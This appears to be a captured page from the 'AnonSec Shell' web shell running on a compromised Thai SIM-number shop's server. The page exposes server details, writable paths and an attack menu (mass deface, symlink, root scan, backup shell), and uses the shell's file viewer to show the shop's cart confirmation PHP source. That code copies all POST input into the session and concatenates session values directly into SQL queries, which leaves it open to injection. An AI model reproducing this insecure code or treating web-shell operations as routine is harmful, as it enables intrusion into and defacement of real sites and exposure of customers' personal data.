AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/simsalmon/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/simsalmon/cart/cart_confirm.php
<?php include('../include/header.php');?>
<?php
foreach ($_POST as $key => $value)
{
   $_SESSION[$key] = $value;
}
?>
<div class="container">
  <div class="row">
    <div class="col-md-12">
        
        <div class="row" style="margin-top:25px;">
        <div class="col-md-12" style="margin-bottom:10px;">
            <p class="HeadText" style="text-align:left">ยืนยันการสั่งซื้อของคุณ</p>
            <p style="font-size:35px;">รายการสั่งซื้อของคุณ</p>
            
            <span id="alert_listcart"></span>
             <div class="div_com">
             <table class="table tb_list_cart">
                <thead>
                  <tr>
                    <th>ร้านค้า</th>
                    <th width="25%">เบอร์ที่สั่งซื้อ</th>
                    <th width="20%">เครือข่าย</th>
                    <th width="25%">ราคา/บาท</th>
                  </tr>
                </thead>
                <tbody>
                <?php
				if(count($_SESSION["cart"]) == 0)
				{
					?>
                     <tr>
                     	<td colspan="5"><div class="td_end"> ไม่สินค้าในรายการ </div></td>
					 </tr>
                	<?php
				}
				else
				{
					$total = 0;
					foreach ($_SESSION["cart"] as $key => $value)
					{
						
						$list = array('table'=>'phonenumber','where'=>'id = "'.$value.'"','order'=> "ORDER BY id DESC");				  
						$view = $view_db->view($list);
						$row = $view_db->q($view);
						
						$phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
						
						$row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');
						
						$list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');				  
						$view_shr = $view_db->view($list_shr);
						$row_shr = $view_db->q($view_shr);
						
						?>
						 <tr>
							<td><div><a href="<?php echo $Url_shop.$row_shr['codeshop']?>"><?php echo imgprofile_shop($row_shr['image_profile'],'34').' ' . $row_shr['nameShop']?> </a></div></td>
							<td><div><?php echo $phonenumber; ?> </div></td>
							<td><div><img src="<?php echo $upload ?>mobilenetwork/<?php echo $row_mobilenetwork ?>" width="50"></div></td>
							<td><div class="td_end"><?php echo number_format($row['price'])?> </div></td>
						  </tr>
						<?php
						$total =  $total + $row['price'];
					}
				}
				?>
                </tbody>
              </table>
              </div>
              <?php
              foreach ($_SESSION["cart"] as $key => $value)
			  {
				$list = array('table'=>'phonenumber','where'=>'id = "'.$value.'"','order'=> "ORDER BY id DESC");				  
				$view = $view_db->view($list);
				$row = $view_db->q($view);
				
				$phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
				
				$row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');
				
				$list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');				  
				$view_shr = $view_db->view($list_shr);
				$row_shr = $view_db->q($view_shr);
				 ?>
                 <div class="row order_mobile div_mobile"  align="center">
                        <div class="col-xs-12">เบอร์ : <span><?php echo $phonenumber; ?>  </span> </div>
                        <div class="col-xs-6 order_mb_1">
                        	<a href="<?php echo $Url_shop.$row_shr['codeshop']?>" style="color:#000;"><?php echo imgprofile_shop($image_profile,'34').' ' . $row_shr['nameShop']?> </a>
                        </div>
                        <div class="col-xs-6 order_mb_2">
                        เครือข่าย<img src="<?php echo $upload ?>mobilenetwork/<?php echo $row_mobilenetwork ?>" width="50">
                        </div>
                        <div class="col-xs-12" style="color:#F00;">ราคา :<span><?php echo number_format($row['price'])?></span> บาท</div>
                        
                </div>
                  <?php
			  }
			  ?>
              
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#000;font-size:20px;">
                  <div class="col-xs-8" align="right">  ราคารวม  &nbsp;&nbsp;&nbsp;&nbsp; </div>
                   <div class="col-xs-4" align="left"> <?php echo number_format($total)?>  บาท</div>
                </div>
                <?php
				$list_sip = array('table'=>'ems_type','where'=>'id = "'.$_SESSION["shipping"].'"','order'=> "ORDER BY id DESC");				  
				$view_sip = $view_db->view($list_sip);
				$row_sip = $view_db->q($view_sip); 
				?>
                <?php $sip=$row_sip['price'];?>
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#66be89;font-size:20px;">
                  <div class="col-xs-8" align="right"> <?php echo $row_sip['name']?>  &nbsp;&nbsp;&nbsp;&nbsp;</div>
                  <div class="col-xs-4" align="left"> <?php echo number_format($sip)?>  บาท</div>
                </div>
                <?php $sumtotal = $total + $sip ;?>
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#F00;font-size:20px;">
                   <div class="col-xs-8" align="right"> ราคารวม  &nbsp;&nbsp;&nbsp;&nbsp;</div>
                  <div class="col-xs-4" align="left"> <?php echo number_format($sumtotal)?>  บาท</div>
                </div>
           
           
            
            
                 
        </div>
        </div>
        
        <div class="row" style="margin-top:25px;">
        <div class="col-md-12" style="margin-bottom:10px;">
             <?php
			 if($_SESSION["simDed_login"] == 1 && $_SESSION["simDed_type"]  == 'member')
			 {
				$sql_m = array('table'=>'member','where'=>"id = '".$_SESSION["simDed_id"]."'");
				$viewid_m = $view_db->view($sql_m);
				$row_m = $view_db->q($viewid_m);  
			 }
			 ?>
        	<div class="row">
              <div class="col-md-8" style="background-color:#fff6da;padding-top:20px;padding-bottom:20px;margin-top:20px;">
              <p class="HeadText" style="text-align:left">ที่อยู่การจัดส่ง</p>
              <p style="font-size:18px;padding-top:25px;">
              	รายละเอียด <br>
                คุณ<?php echo $_SESSION['name'] .' '. $_SESSION['lastname']?><br> 
               	<?php echo $_SESSION['address']?><br>
                จ. <?php
					$list_prv = array('table'=>'province','where'=>'id = "'.$_SESSION['province'].'"');				  
					$view_prv = $view_db->view($list_prv);
					$row_prv = $view_db->q($view_prv);
					echo $row_prv['name'];
					
				?>   <?php echo $_SESSION['zip']?> <br>
                โทร. <?php 
				$phone = $Phone_class->format_phonenumber($_SESSION['phone'],1);
				echo $phone; ?> <br>
                Email : <?php echo $_SESSION['email']?><br>
                รูปแบบการจัดส่ง :
				 <?php
					$list_sip = array('table'=>'ems_type','where'=>'id = "'.$_SESSION['shipping'].'"');				  
					$view_sip = $view_db->view($list_sip);
					$row_sip = $view_db->q($view_sip);
					echo $row_sip['name'];
				?>
               
              </p>
              
              <div style="padding-top:25px;" align="center">
              <form action="cart_saveorder.php" class="fm_conorder" method="post" name="fm_conorder" id="fm_conorder">
                  <div class="form-group">
                    <input type="radio" name="check" id=""> ขอรับรองว่าเป็นความจริง
                  </div>
              	<button type="submit" class="btn btn-danger bt_order">ยืนยันการสั่งซื้อ</button>
            </form>
              </div>
              </div>
            </div>
        
        
              
              
              
               
        </div>
        </div>
        
                
        
     </div>
  </div><!--/row-->
</div>
<?php include('../include/footer.php');?>  

Anon7 - 2022
AnonSec Team